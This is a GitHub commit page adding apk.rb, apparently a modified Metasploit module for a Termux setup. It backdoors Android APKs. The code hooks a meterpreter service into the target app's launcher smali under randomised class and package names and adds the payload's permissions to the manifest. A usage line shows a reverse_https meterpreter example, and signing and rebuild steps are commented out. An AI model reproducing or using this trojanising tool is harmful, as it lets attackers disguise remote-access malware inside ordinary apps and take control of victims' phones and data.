Skip to content

Commit d6d4402

Browse files
author
ramamajhi14
committed
upload 9th may 2019
1 parent 6ec4827 commit d6d4402

File tree

10 files changed

+588
-0
lines changed

10 files changed

+588
-0
lines changed

apk.rb

Lines changed: 285 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,285 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'rex/text'
5+
require 'tmpdir'
6+
require 'nokogiri'
7+
require 'fileutils'
8+
require 'optparse'
9+
require 'open3'
10+
require 'date'
11+
12+
class Msf::Payload::Apk
13+
14+
def print_status(msg='')
15+
$stderr.puts "[*] #{msg}"
16+
end
17+
18+
def print_error(msg='')
19+
$stderr.puts "[-] #{msg}"
20+
end
21+
22+
alias_method :print_bad, :print_error
23+
24+
def usage
25+
print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
26+
print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
27+
end
28+
29+
def run_cmd(cmd)
30+
begin
31+
stdin, stdout, stderr = Open3.popen3(cmd)
32+
return stdout.read + stderr.read
33+
rescue Errno::ENOENT
34+
return nil
35+
end
36+
end
37+
38+
# Find a suitable smali point to hook
39+
def find_hook_point(amanifest)
40+
package = amanifest.xpath("//manifest").first['package']
41+
application = amanifest.xpath('//application')
42+
application_name = application.attribute("name")
43+
if application_name
44+
application_str = application_name.to_s
45+
unless application_str == 'android.app.Application'
46+
return application_str
47+
end
48+
end
49+
activities = amanifest.xpath("//activity|//activity-alias")
50+
for activity in activities
51+
activityname = activity.attribute("targetActivity")
52+
unless activityname
53+
activityname = activity.attribute("name")
54+
end
55+
category = activity.search('category')
56+
unless category
57+
next
58+
end
59+
for cat in category
60+
categoryname = cat.attribute('name')
61+
if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
62+
name = activityname.to_s
63+
if name.start_with?('.')
64+
name = package + name
65+
end
66+
return name
67+
end
68+
end
69+
end
70+
end
71+
72+
def parse_manifest(manifest_file)
73+
File.open(manifest_file, "rb"){|file|
74+
data = File.read(file)
75+
return Nokogiri::XML(data)
76+
}
77+
end
78+
79+
def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
80+
#Load payload's manifest
81+
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
82+
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
83+
84+
#Load original apk's manifest
85+
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
86+
original_permissions = original_manifest.xpath("//manifest/uses-permission")
87+
88+
old_permissions = []
89+
add_permissions = []
90+
91+
original_permissions.each do |permission|
92+
name = permission.attribute("name").to_s
93+
old_permissions << name
94+
end
95+
96+
application = original_manifest.xpath('//manifest/application')
97+
payload_permissions.each do |permission|
98+
name = permission.attribute("name").to_s
99+
unless old_permissions.include?(name)
100+
add_permissions += [permission.to_xml]
101+
end
102+
end
103+
add_permissions.shuffle!
104+
for permission_xml in add_permissions
105+
print_status("Adding #{permission_xml}")
106+
if original_permissions.empty?
107+
application.before(permission_xml)
108+
original_permissions = original_manifest.xpath("//manifest/uses-permission")
109+
else
110+
original_permissions.before(permission_xml)
111+
end
112+
end
113+
114+
application = original_manifest.at_xpath('/manifest/application')
115+
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
116+
service = payload_manifest.at_xpath('/manifest/application/service')
117+
receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
118+
receiver.attributes["label"].value = main_broadcast_receiver
119+
service.attributes["name"].value = package + '.' + main_service
120+
application << receiver.to_xml
121+
application << service.to_xml
122+
123+
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
124+
end
125+
126+
def parse_orig_cert_data(orig_apkfile)
127+
orig_cert_data = Array[]
128+
keytool_output = run_cmd(%Q{keytool -J-Duser.language=en -printcert -jarfile "#{orig_apkfile}"})
129+
owner_line = keytool_output.match(/^Owner:.+/)[0]
130+
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
131+
orig_cert_data.push("#{orig_cert_dname}")
132+
valid_from_line = keytool_output.match(/^Valid from:.+/)[0]
133+
from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip
134+
to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip
135+
from_date = DateTime.parse("#{from_date_str}")
136+
orig_cert_data.push(from_date.strftime("%Y/%m/%d %T"))
137+
to_date = DateTime.parse("#{to_date_str}")
138+
validity = (to_date - from_date).to_i
139+
orig_cert_data.push("#{validity}")
140+
return orig_cert_data
141+
end
142+
143+
def backdoor_apk(apkfile, raw_payload)
144+
#unless apkfile && File.readable?(apkfile)
145+
#usage
146+
#raise RuntimeError, "Invalid template: #{apkfile}"
147+
#end
148+
149+
#keytool = run_cmd("keytool")
150+
#unless keytool != nil
151+
#raise RuntimeError, "keytool not found. If it's not in your PATH, please add it."
152+
#end
153+
154+
#jarsigner = run_cmd("jarsigner")
155+
#unless jarsigner != nil
156+
#raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it."
157+
#end
158+
159+
#zipalign = run_cmd("zipalign")
160+
#unless zipalign != nil
161+
#raise RuntimeError, "zipalign not found. If it's not in your PATH, please add it."
162+
#end
163+
164+
#apktool = run_cmd("apktool -version")
165+
#unless apktool != nil
166+
#raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
167+
#end
168+
169+
#apk_v = Gem::Version.new(apktool)
170+
#unless apk_v >= Gem::Version.new('2.0.1')
171+
#raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
172+
#end
173+
174+
#Create temporary directory where work will be done
175+
tempdir = "/data/data/com.termux/files/home/ubuntu-fs/root/.bind/"
176+
177+
#keystore = "#{tempdir}/signing.keystore"
178+
#storepass = "android"
179+
#keypass = "android"
180+
#keyalias = "signing.key"
181+
#orig_cert_data = parse_orig_cert_data(apkfile)
182+
#orig_cert_dname = orig_cert_data[0]
183+
#orig_cert_startdate = orig_cert_data[1]
184+
#orig_cert_validity = orig_cert_data[2]
185+
186+
#print_status "Creating signing key and keystore..\n"
187+
#run_cmd("keytool -genkey -v -keystore #{keystore} \
188+
#-alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA \
189+
#-keysize 2048 -startdate '#{orig_cert_startdate}' \
190+
#-validity #{orig_cert_validity} -dname '#{orig_cert_dname}'")
191+
192+
#File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload }
193+
#FileUtils.cp apkfile, "#{tempdir}/original.apk"
194+
195+
#print_status "Decompiling original APK..\n"
196+
#run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original")
197+
#print_status "Decompiling payload APK..\n"
198+
#run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
199+
200+
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
201+
202+
print_status "Locating hook point..\n"
203+
hookable_class = find_hook_point(amanifest)
204+
smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali"
205+
smalifiles = Dir.glob(smalifile)
206+
for smalifile in smalifiles
207+
if File.readable?(smalifile)
208+
hooksmali = File.read(smalifile)
209+
break
210+
end
211+
end
212+
213+
unless hooksmali
214+
raise RuntimeError, "Unable to find hook point in #{smalifile}\n"
215+
end
216+
217+
entrypoint = 'return-void'
218+
unless hooksmali.include? entrypoint
219+
raise RuntimeError, "Unable to find hookable function in #{smalifile}\n"
220+
end
221+
222+
# Remove unused files
223+
FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali"
224+
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
225+
226+
package = amanifest.xpath("//manifest").first['package']
227+
package = package.downcase + ".#{Rex::Text::rand_text_alpha_lower(5)}"
228+
classes = {}
229+
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
230+
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
231+
classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
232+
package_slash = package.gsub(/\./, "/")
233+
print_status "Adding payload as package #{package}\n"
234+
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
235+
payload_dir = "#{tempdir}/original/smali/#{package_slash}/"
236+
FileUtils.mkdir_p payload_dir
237+
238+
# Copy over the payload files, fixing up the smali code
239+
payload_files.each do |file_name|
240+
smali = File.read(file_name)
241+
smali_class = File.basename file_name
242+
for oldclass, newclass in classes
243+
if smali_class == "#{oldclass}.smali"
244+
smali_class = "#{newclass}.smali"
245+
end
246+
smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
247+
end
248+
smali.gsub!(/com\/metasploit\/stage/, package_slash)
249+
newfilename = "#{payload_dir}#{smali_class}"
250+
File.open(newfilename, "wb") {|file| file.puts smali }
251+
end
252+
253+
payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V
254+
255+
^ + entrypoint
256+
hookedsmali = hooksmali.sub(entrypoint, payloadhook)
257+
258+
print_status "Loading #{smalifile} and injecting payload..\n"
259+
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
260+
261+
injected_apk = "#{tempdir}/output.apk"
262+
aligned_apk = "#{tempdir}/aligned.apk"
263+
print_status "Poisoning the manifest with meterpreter permissions..\n"
264+
fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
265+
266+
#print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
267+
#apktool_output = run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
268+
#unless File.readable?(injected_apk)
269+
#print_error apktool_output
270+
#raise RuntimeError, "Unable to rebuild apk with apktool"
271+
#end
272+
273+
#print_status "Signing #{injected_apk}\n"
274+
#run_cmd("jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore #{keystore} -storepass #{storepass} -keypass #{keypass} #{injected_apk} #{keyalias}")
275+
print_status "Now..goto ubuntu and Recompile..\n"
276+
#run_cmd("zipalign 4 #{injected_apk} #{aligned_apk}")
277+
278+
#outputapk = File.read(aligned_apk)
279+
280+
#FileUtils.remove_entry tempdir
281+
#outputapk
282+
end
283+
end
284+
285+

0 commit comments

Comments
 (0)